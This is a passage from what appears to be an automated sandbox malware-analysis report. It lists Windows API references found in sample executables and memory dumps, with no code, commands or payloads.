"1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "IsValidCodePage"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "CompareStringW"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "WriteConsoleA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "WriteConsoleW"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "SetStdHandle"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetLocaleInfoA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "LCMapStringA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "LCMapStringW"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetStringTypeA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetStringTypeW"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "SetEndOfFile"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetModuleFileNameW"; File: "2Aq2815.exe.2348412272") Found reference to API (Indicator: "FindFirstFileExW"; File: "2Aq2815.exe.2348412272") Found reference to API (Indicator: "FindNextFileW"; File: "2Aq2815.exe.2348412272") Found reference to API (Indicator: "GetCommandLineW"; File: "2Aq2815.exe.2348412272") Found reference to API (Indicator: "SetFilePointerEx"; File: "2Aq2815.exe.2348412272") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetLongPathNameW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SHGetKnownFolderPath"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "EnumResourceTypesW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "EnumResourceNamesW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetShortPathNameW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "InterlockedExchange"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "UnregisterWait"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetStockObject"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "PathAddBackslashW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "PathRenameExtensionW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "PathRemoveBackslashW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "UnregisterClassW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "CreateAcceleratorTableW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "BringWindowToTop"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TranslateAcceleratorW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "DestroyAcceleratorTable"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000368.00000000.69514.00401000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000488.00000000.67644.00264000.00000002.mdmp") Found reference to API (Indicator: "FreeConsole"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetEnabledXStateFeatures"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetXStateFeaturesMask"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "LocateXStateFeature"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "SetThreadStackGuarantee"; Source: "00000000-00000808.00000000.68658.009FF000.00000002.mdmp") Found reference to API (Indicator: "GetWindowDC"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "SendMessage"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetClassName"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "ReleaseCapture"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetWindowLong"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "SetWindowLong"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "InsertMenuItem"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "ClientToScreen"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "CreateRoundRectRgn"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetScrollInfo"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "DrawMenuBar"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "LoadCursor"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetCursorPos"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A60000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "WindowFromPoint"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetWindowText"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 00000000-00000808.00000001.68760.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetSystemMenu"; Source: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp, 